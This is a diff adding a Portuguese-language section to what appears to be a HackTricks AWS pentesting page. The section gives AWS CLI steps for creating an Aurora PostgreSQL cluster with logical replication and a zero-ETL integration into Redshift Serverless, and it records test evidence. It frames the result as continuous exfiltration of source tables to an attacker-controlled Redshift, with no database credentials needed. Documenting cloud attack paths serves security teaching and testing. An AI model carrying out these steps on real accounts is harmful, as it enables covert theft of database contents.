+3) Criar cluster Aurora PostgreSQL (ativar Data API e replicação lógica) +```bash +CLUSTER_ID=aurora-ztl +aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--engine aurora-postgresql --engine-version 16.4 \ +--master-username postgres --master-user-password 'InitPwd-1!' \ +--enable-http-endpoint --no-deletion-protection --backup-retention-period 1 +aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID +# Serverless v2 instance +aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately +aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \ +--db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID +aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 +# Cluster parameter group for zero‑ETL +aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \ +--db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params" +aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \ +ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ +ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ +ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \ +ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot +aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately +aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 +aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 +SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text) +``` +
+ +
+4) Criar a integração zero‑ETL a partir do RDS +```bash +# Include all tables in the default 'postgres' database +aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ +--target-arn "$RS_NS_ARN" --integration-name ztl-demo \ +--data-filter 'include: postgres.*.*' +# Redshift inbound integration should become ACTIVE +aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN" +``` +
+ +
+5) Materializar e consultar dados replicados no Redshift +```bash +# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) +aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ +--sql "select integration_id from svv_integration" # take the GUID value +aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ +--sql "create database ztl_db from integration '' database postgres" +# List tables replicated +aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \ +--sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;" +``` +
+ +Evidências observadas no teste: +- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-... +- SVV_INTEGRATION mostrou integration_id 377a462b-c42c-4f08-937b-77fe75d98211 e estado PendingDbConnectState antes da criação do DB. +- Após CREATE DATABASE FROM INTEGRATION, listar tabelas revelou o schema ztl e a tabela customers; selecionar de ztl.customers retornou 2 linhas (Alice, Bob). + +Impacto: Exfiltração contínua quase em tempo real de tabelas selecionadas do Aurora PostgreSQL para Redshift Serverless controlado pelo atacante, sem uso de credenciais de banco de dados, backups ou acesso de rede ao cluster de origem. + + {{#include ../../../banners/hacktricks-training.md}}